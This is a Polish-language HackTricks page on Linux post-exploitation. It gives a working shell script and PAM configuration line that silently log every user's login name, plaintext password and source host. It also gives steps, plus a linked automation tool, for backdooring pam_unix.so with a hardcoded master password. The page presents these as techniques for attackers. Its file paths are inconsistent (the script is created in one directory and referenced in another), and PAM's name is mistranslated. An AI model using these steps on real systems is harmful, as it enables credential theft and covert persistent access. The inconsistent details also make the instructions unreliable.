.. | ||
pam-pluggable-authentication-modules.md | ||
README.md |
Linux Post-Exploitation
{% hint style="success" %}
Dowiedz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Dowiedz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Wesprzyj HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hakerskimi, przesyłając PR-y do HackTricks i HackTricks Cloud na githubie.
Przechwytywanie haseł logowania za pomocą PAM
Skonfigurujmy moduł PAM, aby rejestrował każde hasło, które użytkownik używa do logowania. Jeśli nie wiesz, co to jest PAM, sprawdź:
{% content-ref url="pam-pluggable-authentication-modules.md" %} pam-pluggable-authentication-modules.md {% endcontent-ref %}
Aby uzyskać więcej szczegółów, sprawdź oryginalny post. To tylko streszczenie:
Przegląd techniki: Mobilne moduły uwierzytelniania (PAM) oferują elastyczność w zarządzaniu uwierzytelnianiem w systemach opartych na Unixie. Mogą zwiększyć bezpieczeństwo poprzez dostosowywanie procesów logowania, ale także stanowią ryzyko w przypadku niewłaściwego użycia. To streszczenie przedstawia technikę przechwytywania danych logowania za pomocą PAM, wraz z strategiami łagodzenia zagrożeń.
Przechwytywanie danych logowania:
- Skrypt bash o nazwie
toomanysecrets.sh
jest tworzony, aby rejestrować próby logowania, przechwytując datę, nazwę użytkownika ($PAM_USER
), hasło (przez stdin) i adres IP zdalnego hosta ($PAM_RHOST
) do/var/log/toomanysecrets.log
. - Skrypt jest ustawiany jako wykonywalny i integrowany z konfiguracją PAM (
common-auth
) za pomocą modułupam_exec.so
z opcjami uruchamiania w trybie cichym i ujawniania tokenu uwierzytelniania skryptowi. - Ta metoda pokazuje, jak skompromitowany host Linux może być wykorzystany do dyskretnego rejestrowania danych uwierzytelniających.
#!/bin/sh
echo " $(date) $PAM_USER, $(cat -), From: $PAM_RHOST" >> /var/log/toomanysecrets.log
sudo touch /var/log/toomanysecrets.sh
sudo chmod 770 /var/log/toomanysecrets.sh
sudo nano /etc/pam.d/common-auth
# Add: auth optional pam_exec.so quiet expose_authtok /usr/local/bin/toomanysecrets.sh
sudo chmod 700 /usr/local/bin/toomanysecrets.sh
Backdooring PAM
Aby uzyskać dalsze szczegóły, sprawdź oryginalny post. To tylko streszczenie:
Moduł Autoryzacji Podstawowej (PAM) to system używany w systemie Linux do uwierzytelniania użytkowników. Działa na trzech głównych koncepcjach: nazwa użytkownika, hasło i usługa. Pliki konfiguracyjne dla każdej usługi znajdują się w katalogu /etc/pam.d/
, gdzie biblioteki współdzielone obsługują uwierzytelnianie.
Cel: Zmodyfikuj PAM, aby umożliwić uwierzytelnianie za pomocą określonego hasła, omijając rzeczywiste hasło użytkownika. Skupia się to szczególnie na bibliotece współdzielonej pam_unix.so
, używanej przez plik common-auth
, który jest dołączany przez prawie wszystkie usługi do weryfikacji hasła.
Kroki do Modyfikacji pam_unix.so
:
- Zlokalizuj Dyrektywę Autoryzacji w pliku
common-auth
:
- Linia odpowiedzialna za sprawdzanie hasła użytkownika wywołuje
pam_unix.so
.
- Zmodyfikuj Kod Źródłowy:
- Dodaj instrukcję warunkową w pliku źródłowym
pam_unix_auth.c
, która udziela dostępu, jeśli użyte jest predefiniowane hasło, w przeciwnym razie kontynuuje zwykły proces uwierzytelniania.
- Przebuduj i Zamień zmodyfikowaną bibliotekę
pam_unix.so
w odpowiednim katalogu. - Testowanie:
- Dostęp jest udzielany w różnych usługach (logowanie, ssh, sudo, su, zabezpieczenie ekranu) za pomocą predefiniowanego hasła, podczas gdy normalne procesy uwierzytelniania pozostają nienaruszone.
{% hint style="info" %} Możesz zautomatyzować ten proces za pomocą https://github.com/zephrax/linux-pam-backdoor {% endhint %}
{% hint style="success" %}
Dowiedz się i ćwicz Hacking w AWS:HackTricks Training AWS Red Team Expert (ARTE)
Dowiedz się i ćwicz Hacking w GCP: HackTricks Training GCP Red Team Expert (GRTE)
Wesprzyj HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 Grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Udostępnij sztuczki hakerskie, przesyłając PR-y do HackTricks i HackTricks Cloud github repos.